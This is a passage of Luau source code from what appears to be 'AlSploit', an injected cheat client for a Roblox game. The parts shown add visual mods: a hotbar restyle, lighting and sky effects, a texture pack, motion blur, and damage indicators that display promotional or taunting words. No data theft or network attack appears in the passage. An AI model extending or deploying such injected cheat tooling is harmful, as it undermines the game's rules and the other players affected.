local OldHotbar = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1")
local NewHotbarClone = OldHotbarClone:Clone()
NewHotbarClone.Parent = LocalPlayer.PlayerGui:WaitForChild("hotbar")
OldHotbar:Destroy()
end
end,
HoverText = "Gives You A Cool Custom Hotbar 😱"
})
CustomHotbar:CreateSlider({
Name = "BackgroundTransparency",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("ImageButton") then
v.BackgroundTransparency = (AlSploitSettings.CustomHotbar.BackgroundTransparency.Value / 100)
end
end
end
end,
DefaultValue = 10,
MaximumValue = 100
})
CustomHotbar:CreateSlider({
Name = "UIStrokeThickness",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay").Position = UDim2.new(1, (45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 0, 0)
end
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3").Position = UDim2.new(0, -(45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 1, 0)
end
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("UIStroke") then
v.Thickness = AlSploitSettings.CustomHotbar.UIStrokeThickness.Value
end
end
end
end,
DefaultValue = 1.3,
MaximumValue = 5
})
CustomHotbar:CreateSlider({
Name = "TextTransparency",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("TextLabel") then
v.TextTransparency = (AlSploitSettings.CustomHotbar.TextTransparency.Value / 100)
end
end
end
end,
DefaultValue = 100,
MaximumValue = 100
})
CustomHotbar:CreateSlider({
Name = "CornerRadius",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("UICorner") then
v.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHotbar.CornerRadius.Value / 5))
end
end
end
end,
DefaultValue = 30,
MaximumValue = 100
})
CustomHotbar:CreateSlider({
Name = "Rotation",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("UIGradient") then
v.Rotation = AlSploitSettings.CustomHotbar.Rotation.Value
end
end
end
end,
DefaultValue = 45,
MaximumValue = 360
})
CustomHotbar:CreateSlider({
Name = "Spacing",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay").Position = UDim2.new(1, (45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 0, 0)
end
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3").Position = UDim2.new(0, -(45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 1, 0)
end
LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):FindFirstChild("ItemsHotbarListLayout").Padding = UDim.new(0, AlSploitSettings.CustomHotbar.Spacing.Value)
end
end,
DefaultValue = 8,
MaximumValue = 20
})
CustomHotbar:CreateColorSlider({
Name = "Color1",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("UIGradient") then
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
end
if v:IsA("UIStroke") then
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Color = Color3.new(((R + R2) / 2), ((G + G2) / 2), ((B + B2) / 2))
end
end
end
end,
DefaultValue = Color3.new(0.25098, 0, 1)
})
CustomHotbar:CreateColorSlider({
Name = "Color2",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
if v:IsA("UIGradient") then
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Rotation = AlSploitSettings.CustomHotbar.Rotation.Value
v.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
end
if v:IsA("UIStroke") then
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Color = Color3.new(((R + R2) / 2), ((G + G2) / 2), ((B + B2) / 2))
end
end
end
end,
DefaultValue = Color3.new(0.0705882, 0, 1)
})
AlSploitConnections["CustomHotbarConnection"] = LocalPlayer.CharacterAdded:Connect(function()
if AlSploitSettings.CustomHotbar.Value == true then
task.wait(1)
SetHotbarModifications()
end
end)
UnInjectEvent.Event:Connect(function()
local OldHotbar = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1")
local NewHotbarClone = OldHotbarClone:Clone()
NewHotbarClone.Parent = LocalPlayer.PlayerGui:WaitForChild("hotbar")
OldHotbar:Destroy()
end)
end)
task.spawn(function()
local ColorCorrectionEffect = Instance.new("ColorCorrectionEffect")
ColorCorrectionEffect.Parent = LightingService
ColorCorrectionEffect.Name = "ColorCorrectionEffect"
ColorCorrectionEffect.Brightness = 0.1
ColorCorrectionEffect.Saturation = 0.5
ColorCorrectionEffect.Enabled = false
local Atmosphere = WorldTab:CreateToggle({
Name = "Atmosphere",
Function = function()
if AlSploitSettings.Atmosphere.Value == true then
local ColorSplit = string.split(AlSploitSettings.Atmosphere.Color.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
ColorCorrectionEffect.Saturation = (AlSploitSettings.Atmosphere.Saturation.Value / 100)
ColorCorrectionEffect.TintColor = Color3.new(R, G, B)
ColorCorrectionEffect.Contrast = (AlSploitSettings.Atmosphere.Contrast.Value / 100)
ColorCorrectionEffect.Enabled = true
end
if AlSploitSettings.Atmosphere.Value == false then
ColorCorrectionEffect.Enabled = false
end
end,
HoverText = "Gives You A Cool Atmosphere 🌆"
})
Atmosphere:CreateSlider({
Name = "Saturation",
Function = function()
ColorCorrectionEffect.Saturation = (AlSploitSettings.Atmosphere.Saturation.Value / 100)
end,
MaximumValue = 100,
DefaultValue = 0
})
Atmosphere:CreateSlider({
Name = "Contrast",
Function = function()
ColorCorrectionEffect.Contrast = (AlSploitSettings.Atmosphere.Contrast.Value / 100)
end,
MaximumValue = 100,
DefaultValue = 0
})
Atmosphere:CreateColorSlider({
Name = "Color",
Function = function()
local ColorSplit = string.split(AlSploitSettings.Atmosphere.Color.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
ColorCorrectionEffect.TintColor= Color3.new(R, G, B)
end,
DefaultValue = Color3.new(0, 0.133333, 1)
})
UnInjectEvent.Event:Connect(function()
ColorCorrectionEffect:Destroy()
end)
end)
task.spawn(function()
local TexturePack = WorldTab:CreateToggle({
Name = "TexturePack",
Function = function() end,
HoverText = "Makes Your ViewModel Look Cool 😎"
})
TexturePack:CreateToggle({
Name = "TexturePackForResources",
Function = function() end,
DefaultValue = true
})
TexturePack:CreateToggle({
Name = "TexturePackForPickaxes",
Function = function() end,
DefaultValue = true
})
TexturePack:CreateToggle({
Name = "TexturePackForScythes",
Function = function() end,
DefaultValue = true
})
TexturePack:CreateToggle({
Name = "TexturePackForSwords",
Function = function() end,
DefaultValue = true
})
AlSploitConnections["TexturePackConnection"] = ViewModel.ChildAdded:Connect(function(Tool)
if AlSploitSettings.TexturePack.Value == true and shared.AlSploitUnInjected == false and AlSploitInjected == true and IsAlive(LocalPlayer) == true and Tool:IsA("Accessory") then
local TexturePack = game:GetObjects("rbxassetid://14654171957")
local Import = TexturePack[1]
Import.Parent = ReplicatedStorageService
local TexturePackTable = {
{
Name = "wood_sword",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Wood_Sword"),
},
{
Name = "stone_sword",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Stone_Sword"),
},
{
Name = "iron_sword",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Iron_Sword"),
},
{
Name = "diamond_sword",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Diamond_Sword"),
},
{
Name = "emerald_sword",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Emerald_Sword"),
},
{
Name = "rageblade",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-90)),
Model = Import:WaitForChild("Rageblade"),
},
{
Name = "wood_scythe",
Offset = CFrame.Angles(math.rad(0),math.rad(89),math.rad(-90)),
Model = Import:WaitForChild("Wood_Scythe"),
},
{
Name = "stone_scythe",
Offset = CFrame.Angles(math.rad(0),math.rad(89),math.rad(-90)),
Model = Import:WaitForChild("Stone_Scythe"),
},
{
Name = "iron_scythe",
Offset = CFrame.Angles(math.rad(0),math.rad(89),math.rad(-90)),
Model = Import:WaitForChild("Iron_Scythe"),
},
{
Name = "diamond_scythe",
Offset = CFrame.Angles(math.rad(0),math.rad(89),math.rad(-90)),
Model = Import:WaitForChild("Diamond_Scythe"),
},
{
Name = "wood_pickaxe",
Offset = CFrame.Angles(math.rad(0), math.rad(-10), math.rad(-95)),
Model = Import:WaitForChild("Wood_Pickaxe"),
},
{
Name = "stone_pickaxe",
Offset = CFrame.Angles(math.rad(0), math.rad(-10), math.rad(-95)),
Model = Import:WaitForChild("Stone_Pickaxe"),
},
{
Name = "iron_pickaxe",
Offset = CFrame.Angles(math.rad(0), math.rad(-10), math.rad(-95)),
Model = Import:WaitForChild("Iron_Pickaxe"),
},
{
Name = "diamond_pickaxe",
Offset = CFrame.Angles(math.rad(0), math.rad(-89), math.rad(-95)),
Model = Import:WaitForChild("Diamond_Pickaxe"),
},
{
Name = "diamond",
Offset = CFrame.Angles(math.rad(0), math.rad(-90), math.rad(90)),
Model = Import:WaitForChild("Diamond"),
},
{
Name = "iron",
Offset = CFrame.Angles(math.rad(0), math.rad(-90), math.rad(90)),
Model = Import:WaitForChild("Iron"),
},
{
Name = "emerald",
Offset = CFrame.Angles(math.rad(0), math.rad(-90), math.rad(90)),
Model = Import:WaitForChild("Emerald"),
},
}
for i, v in next, TexturePackTable do
if v.Name == Tool.Name then
local Model2
local Model
local Tool2
local function ActivateTexturePack()
for i2, v2 in next, Tool:GetDescendants() do
if v2:IsA("BasePart") or v2:IsA("MeshPart") or v2:IsA("UnionOperation") then
v2.Transparency = 1
end
end
Model = v.Model:Clone()
Model.Parent = Tool
Model.Name = v.Name
Model.CFrame = ((Tool:WaitForChild("Handle").CFrame * v.Offset) * CFrame.Angles(math.rad(0), math.rad(-50), math.rad(0)))
local Weld = Instance.new("WeldConstraint")
Weld.Parent = Model
Weld.Name = "WeldConstraint"
Weld.Part0 = Model
Weld.Part1 = Tool:WaitForChild("Handle")
Tool2 = LocalPlayer.Character:WaitForChild(v.Name)
for i2, v2 in next, Tool2:GetDescendants() do
if v2:IsA("BasePart") or v2:IsA("MeshPart") or v2:IsA("UnionOperation") then
v2.Transparency = 1
end
end
Model2 = v.Model:Clone()
Model2.Parent = Tool2
Model2.Name = v.Name
Model2.Anchored = false
Model2.CFrame = ((Tool2:WaitForChild("Handle").CFrame * v.Offset)) * CFrame.Angles(math.rad(0), math.rad(-50), math.rad(0))
end
if v.Name == "iron" and AlSploitSettings.TexturePack.TexturePackForResources.Value == true then
ActivateTexturePack()
Model2.CFrame = (Model2.CFrame * CFrame.new(0, -0.24, 0))
end
if v.Name == "diamond" and AlSploitSettings.TexturePack.TexturePackForResources.Value == true then
ActivateTexturePack()
Model2.CFrame = (Model2.CFrame * CFrame.new(0, 0.027, 0))
end
if v.Name == "emerald" and AlSploitSettings.TexturePack.TexturePackForResources.Value == true then
ActivateTexturePack()
Model2.CFrame = (Model2.CFrame * CFrame.new(0, 0.001, 0))
end
if v.Name:find("pickaxe") and AlSploitSettings.TexturePack.TexturePackForPickaxes.Value == true then
ActivateTexturePack()
Model2.CFrame = ((Model2.CFrame * CFrame.new(-0.2, 0, -2.4)) + Vector3.new(0, 0, 2.12))
end
if v.Name:find("scythe") and AlSploitSettings.TexturePack.TexturePackForScythes.Value == true then
ActivateTexturePack()
Model2.CFrame = (Model2.CFrame * CFrame.new(-1.15, 0.2, -2.1))
end
if v.Name == "rageblade" and AlSploitSettings.TexturePack.TexturePackForSwords.Value == true then
ActivateTexturePack()
Model2.CFrame = (Model2.CFrame * CFrame.new(0.7, 0, -1))
end
if v.Name:find("sword") and AlSploitSettings.TexturePack.TexturePackForSwords.Value == true then
ActivateTexturePack()
Model2.CFrame = ((Model2.CFrame * CFrame.new(0.6, 0, -1.1)) + Vector3.new(0, 0, 0.3))
end
local Weld2 = Instance.new("WeldConstraint")
Weld2.Parent = Model
Weld2.Name = "WeldConstraint"
Weld2.Part0 = Model2
Weld2.Part1 = Tool2:WaitForChild("Handle")
end
end
end
end)
end)
task.spawn(function()
local BlurEffect = Instance.new("BlurEffect")
BlurEffect.Parent = LightingService
BlurEffect.Name = "BlurEffect"
BlurEffect.Enabled = true
BlurEffect.Size = 0
local MotionBlur = WorldTab:CreateToggle({
Name = "MotionBlur",
Function = function()
BlurEffect.Enabled = true
repeat
task.wait()
if AlSploitSettings.MotionBlur.Value == true and IsAlive(LocalPlayer) == true then
local CameraPosition = Vector3.new(Camera.CFrame.Position.X, 0, Camera.CFrame.Position.Z)
task.wait(0.2)
local CameraPosition2 = Vector3.new(Camera.CFrame.Position.X, 0, Camera.CFrame.Position.Z)
local Magnitude = (CameraPosition - CameraPosition2).Magnitude
local TweenInformation = TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
local SizeTween = TweenService:Create(BlurEffect, TweenInformation, {Size = Magnitude})
SizeTween:Play()
SizeTween.Completed:Connect(function()
local TweenInformation = TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)
local SizeTween = TweenService:Create(BlurEffect, TweenInformation, {Size = 0})
SizeTween:Play()
task.wait(1)
end)
end
until AlSploitSettings.MotionBlur.Value == false or shared.AlSploitUnInjected == true
BlurEffect.Enabled = false
end,
HoverText = "Blurs Your Screen When Based On The Camera Motion 🚶"
})
UnInjectEvent.Event:Connect(function()
BlurEffect:Destroy()
end)
end)
task.spawn(function()
local OldEnvironmentSpecularScale = LightingService.EnvironmentSpecularScale
local OldEnvironmentDiffuseScale = LightingService.EnvironmentDiffuseScale
local OldGeographicLatitude = LightingService.GeographicLatitude
local OldOutdoorAmbient = LightingService.OutdoorAmbient
local OldGlobalShadows = LightingService.GlobalShadows
local OLdBrightness = LightingService.Brightness
local OldTimeOfDay = LightingService.TimeOfDay
local OldClockTime = LightingService.ClockTime
local OldAmbient = LightingService.Ambient
local OldAtmosphereDensity = LightingService.Atmosphere.Density
local OldAtmosphereOffset = LightingService.Atmosphere.Offset
local OldAtmosphereColor = LightingService.Atmosphere.Color
local OldAtmosphereDecay = LightingService.Atmosphere.Decay
local OldAtmosphereGlare = LightingService.Atmosphere.Glare
local OldAtmosphereHaze = LightingService.Atmosphere.Haze
local OldTheme = WorldTab:CreateToggle({
Name = "OldTheme",
Function = function()
if AlSploitSettings.OldTheme.Value == true then
LightingService.EnvironmentSpecularScale = 1
LightingService.EnvironmentDiffuseScale = 1
LightingService.GeographicLatitude = 0
LightingService.OutdoorAmbient = Color3.new(0.270588, 0.270588, 0.270588)
LightingService.GlobalShadows = false
LightingService.Brightness = 3
LightingService.TimeOfDay = "13:00:00"
LightingService.ClockTime = 13
LightingService.Ambient = Color3.new(0.270588, 0.270588, 0.270588)
if AlSploitSettings.Atmosphere.Value == false then
LightingService.Atmosphere.Density = 0.1
LightingService.Atmosphere.Offset = 0.25
LightingService.Atmosphere.Color = Color3.new(0.776471, 0.776471, 0.776471)
LightingService.Atmosphere.Decay = Color3.new(0.407843, 0.439216, 0.486275)
LightingService.Atmosphere.Glare = 0
LightingService.Atmosphere.Haze = 0
end
end
if AlSploitSettings.OldTheme.Value == false then
LightingService.EnvironmentSpecularScale = OldEnvironmentSpecularScale
LightingService.EnvironmentDiffuseScale = OldEnvironmentDiffuseScale
LightingService.GeographicLatitude = OldGeographicLatitude
LightingService.OutdoorAmbient = OldOutdoorAmbient
LightingService.GlobalShadows = OldGlobalShadows
LightingService.Brightness = OLdBrightness
LightingService.TimeOfDay = OldTimeOfDay
LightingService.ClockTime = OldClockTime
LightingService.Ambient = OldAmbient
if AlSploitSettings.Atmosphere.Value == false then
LightingService.Atmosphere.Density = OldAtmosphereDensity
LightingService.Atmosphere.Offset = OldAtmosphereOffset
LightingService.Atmosphere.Color = OldAtmosphereColor
LightingService.Atmosphere.Decay = OldAtmosphereDecay
LightingService.Atmosphere.Glare = OldAtmosphereGlare
LightingService.Atmosphere.Haze = OldAtmosphereHaze
end
end
end,
HoverText = "Makes The Game Look Old 👴"
})
UnInjectEvent.Event:Connect(function()
LightingService.EnvironmentSpecularScale = OldEnvironmentSpecularScale
LightingService.EnvironmentDiffuseScale = OldEnvironmentDiffuseScale
LightingService.GeographicLatitude = OldGeographicLatitude
LightingService.OutdoorAmbient = OldOutdoorAmbient
LightingService.GlobalShadows = OldGlobalShadows
LightingService.Brightness = OLdBrightness
LightingService.TimeOfDay = OldTimeOfDay
LightingService.ClockTime = OldClockTime
LightingService.Ambient = OldAmbient
LightingService.Atmosphere.Density = OldAtmosphereDensity
LightingService.Atmosphere.Offset = OldAtmosphereOffset
LightingService.Atmosphere.Color = OldAtmosphereColor
LightingService.Atmosphere.Decay = OldAtmosphereDecay
LightingService.Atmosphere.Glare = OldAtmosphereGlare
LightingService.Atmosphere.Haze = OldAtmosphereHaze
end)
end)
task.spawn(function()
local Messages = {
AlSploit = {"AlSploit On Top", "AlSploit", "#1 Script 🏆", "Skidware Crumbles To Alsploit", "Best Script"},
Emoji = {"🥵", "🤑", "🗣️", "💥", "📈"},
Toxic = {"Ez", "Bop", "Bam", "Your Pvp Is Sloppy", "L"}
}
local Indicators = WorldTab:CreateToggle({
Name = "Indicators",
Function = function()
if AlSploitSettings.Indicators.Value == true then
AlSploitConnections["IndicatorsConnection"] = WorkSpace.DescendantAdded:Connect(function(instance)
if instance.Name == "DamageIndicatorPart" and instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel") then
local OriginalText = instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel").Text
local ColorSplit = string.split(AlSploitSettings.Indicators.Color.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel").TextColor3 = Color3.new(R, G, B)
if AlSploitSettings.Indicators.IndicatorWords.AlSploit.Value == true then
instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel").Text = Messages["AlSploit"][math.random(1, #Messages["AlSploit"])] .. (AlSploitSettings.Indicators.KeepDamageValues.Value == true and " " .. "(" .. OriginalText .. ")" or "")
end
if AlSploitSettings.Indicators.IndicatorWords.Emoji.Value == true then
instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel").Text = Messages["Emoji"][math.random(1, #Messages["AlSploit"])] .. (AlSploitSettings.Indicators.KeepDamageValues.Value == true and " " .. "(" .. OriginalText .. ")" or "")
end
if AlSploitSettings.Indicators.IndicatorWords.Toxic.Value == true then
instance:FindFirstChild("BillboardGui"):FindFirstChild("Frame"):FindFirstChildWhichIsA("TextLabel").Text = Messages["Toxic"][math.random(1, #Messages["AlSploit"])] .. (AlSploitSettings.Indicators.KeepDamageValues.Value == true and " " .. "(" .. OriginalText .. ")" or "")
end
end
end)
end
if AlSploitSettings.Indicators.Value == false then
if AlSploitConnections["IndicatorsConnection"] then
AlSploitConnections["IndicatorsConnection"]:Disconnect()
end
end
end,
HoverText = "Makes The Damage Indicator Cooler 💨"
})
Indicators:CreateColorSlider({
Name = "Color",
Function = function() end,
DefaultValue = Color3.new(0.25098, 0, 1)
})
local IndicatorWords = Indicators:CreateDropdown({
Name = "IndicatorWords",
HoverText = "The Selected Word Categorr That Will Replace The Normal Indicator Word"
})
local AlSploit = IndicatorWords:CreateToggle({
Name = "AlSploit",
Function = function() end,
DefaultValue = true
})
local Emoji = IndicatorWords:CreateToggle({
Name = "Emoji",
Function = function() end,
DefaultValue = false
})
local Toxic = IndicatorWords:CreateToggle({
Name = "Toxic",
Function = function() end,
DefaultValue = false
})
local KeepDamageValues = Indicators:CreateToggle({
Name = "KeepDamageValues",
Function = function() end,
DefaultValue = false
})
end)
task.spawn(function()
local WinterSky = WorldTab:CreateToggle({
Name = "WinterSky",
Function = function()
if AlSploitSettings.WinterSky.Value == true then
task.spawn(function()
local SnowPart = Instance.new("Part")
SnowPart.Parent = WorkSpace
SnowPart.Name = "SnowPart"
SnowPart.Transparency = 1
SnowPart.CanCollide = false
SnowPart.Anchored = true
SnowPart.Size = Vector3.new(240, 0.5, 240)
local Snow = Instance.new("ParticleEmitter")
Snow.Parent = SnowPart
Snow.Name = "Snow"
Snow.EmissionDirection = Enum.NormalId.Bottom
Snow.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.16939899325371, 0), NumberSequenceKeypoint.new(0.23365999758244 ,0.62841498851776, 0.37158501148224), NumberSequenceKeypoint.new(0.56209099292755, 0.38797798752785, 0.2771390080452), NumberSequenceKeypoint.new(0.90577298402786, 0.51912599802017, 0), NumberSequenceKeypoint.new(1, 1, 0)})
Snow.SpreadAngle = Vector2.new(35, 35)
Snow.Lifetime = NumberRange.new(8, 14)
Snow.Rotation = NumberRange.new(110)
Snow.RotSpeed = NumberRange.new(300)
Snow.Texture = "rbxassetid://8158344433"
Snow.Speed = NumberRange.new(8, 18)
Snow.Rate = 28
Snow.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 0, 0), NumberSequenceKeypoint.new(0.039760299026966, 1.3114800453186, 0.32786899805069), NumberSequenceKeypoint.new(0.7554469704628, 0.98360699415207, 0.44038599729538), NumberSequenceKeypoint.new(1, 0, 0)})
local WindSnow = Instance.new("ParticleEmitter")
WindSnow.Parent = SnowPart
WindSnow.Name = "WindSnow"
WindSnow.EmissionDirection = Enum.NormalId.Bottom
WindSnow.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.16939899325371, 0), NumberSequenceKeypoint.new(0.23365999758244, 0.62841498851776, 0.37158501148224), NumberSequenceKeypoint.new(0.56209099292755, 0.38797798752785, 0.2771390080452), NumberSequenceKeypoint.new(0.90577298402786, 0.51912599802017, 0),NumberSequenceKeypoint.new(1, 1, 0)})
WindSnow.Acceleration = Vector3.new(0, 0, 1)
WindSnow.SpreadAngle = Vector2.new(35, 35)
WindSnow.Lifetime = NumberRange.new(8, 14)
WindSnow.Rotation = NumberRange.new(110)
WindSnow.RotSpeed = NumberRange.new(100)
WindSnow.Texture = "rbxassetid://8158344433"
WindSnow.Speed = NumberRange.new(8, 18)
WindSnow.Rate = 28
WindSnow.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 0, 0), NumberSequenceKeypoint.new(0.039760299026966, 1.3114800453186, 0.32786899805069), NumberSequenceKeypoint.new(0.7554469704628, 0.98360699415207, 0.44038599729538), NumberSequenceKeypoint.new(1, 0, 0)})
repeat
task.wait()
if IsAlive(LocalPlayer) == true then
SnowPart.CFrame = (LocalPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 100, 0))
end
until shared.AlSploitUnInjected == true or AlSploitSettings.WinterSky.Value == false
SnowPart:Destroy()
WindSnow:Destroy()
Snow:Destroy()
end)
task.spawn(function()
task.spawn(function()
if LightingService:FindFirstChild("Sky") then
LightingService.Sky.Parent = ReplicatedStorageService
end
end)
task.spawn(function()
local Sky = Instance.new("Sky")
Sky.Parent = LightingService
Sky.Name = "WinterSky"
Sky.MoonAngularSize = 30
Sky.SunAngularSize = 11
Sky.MoonTextureId = "rbxassetid://8139665943"
Sky.SunTextureId = "rbxassetid://6196665106"
Sky.StarCount = 5000
Sky.SkyboxUp = "rbxassetid://8139676647"
Sky.SkyboxLf = "rbxassetid://8139676988"
Sky.SkyboxFt = "rbxassetid://8139677111"
Sky.SkyboxBk = "rbxassetid://8139677359"
Sky.SkyboxDn = "rbxassetid://8139677253"
Sky.SkyboxRt = "rbxassetid://8139676842"
end)
task.spawn(function()
if LightingService:FindFirstChildOfClass("SunRaysEffect") then
LightingService:FindFirstChildOfClass("SunRaysEffect"):Destroy()
local SunRaysEffect = Instance.new("SunRaysEffect")
SunRaysEffect.Parent = LightingService
SunRaysEffect.Name = "SunRaysEffect"
SunRaysEffect.Intensity = 0.03
end
end)
task.spawn(function()
if not LightingService:FindFirstChildOfClass("SunRaysEffect") then
local SunRay = Instance.new("SunRaysEffect")
SunRay.Parent = LightingService
SunRay.Name = "SunRay"
SunRay.Intensity = 0.03
end
end)
task.spawn(function()
if LightingService:FindFirstChildOfClass("BloomEffect") then
LightingService:FindFirstChildOfClass("BloomEffect"):Destroy()
local BloomEffect = Instance.new("BloomEffect")
BloomEffect.Parent = LightingService
BloomEffect.Name = "BloomEffect"
BloomEffect.Threshold = 2
BloomEffect.Intensity = 1
BloomEffect.Size = 2
end
end)
task.spawn(function()
if not LightingService:FindFirstChildOfClass("BloomEffect") then
local BloomEffect = Instance.new("BloomEffect")
BloomEffect.Parent = LightingService
BloomEffect.Name = "BloomEffect"
BloomEffect.Threshold = 2
BloomEffect.Intensity = 1
BloomEffect.Size = 2
end
end)
task.spawn(function()
if LightingService:FindFirstChildOfClass("Atmosphere") then
LightingService:FindFirstChildOfClass("Atmosphere"):Destroy()
local Atmosphere = Instance.new("Atmosphere")
Atmosphere.Parent = LightingService
Atmosphere.Name = "Atmosphere"
Atmosphere.Density = 0.3
Atmosphere.Offset = 0.25
Atmosphere.Color = Color3.new(0.776471, 0.776471, 0.776471)
Atmosphere.Decay = Color3.new(0.407843, 0.439216, 0.486275)
Atmosphere.Glare = 0
Atmosphere.Haze = 0
end
end)
task.spawn(function()
if not LightingService:FindFirstChildOfClass("Atmosphere") and AlSploitSettings.Atmosphere.Value == false then
local Atmosphere = Instance.new("Atmosphere")
Atmosphere.Parent = LightingService
Atmosphere.Name = "Atmosphere"
Atmosphere.Density = 0.3
Atmosphere.Offset = 0.25
Atmosphere.Color = Color3.new(0.776471, 0.776471, 0.776471)
Atmosphere.Decay = Color3.new(0.407843, 0.439216, 0.486275)
Atmosphere.Glare = 0
Atmosphere.Haze = 0
end
end)
task.spawn(function()
if LightingService:FindFirstChild("GalaxySky")then
LightingService.GalaxySky:Destroy()
end
end)
end)
end
if AlSploitSettings.WinterSky.Value == false then
if ReplicatedStorageService:FindFirstChild("Sky") and LightingService:FindFirstChild("WinterSky") then
ReplicatedStorageService:FindFirstChild("Sky").Parent = LightingService
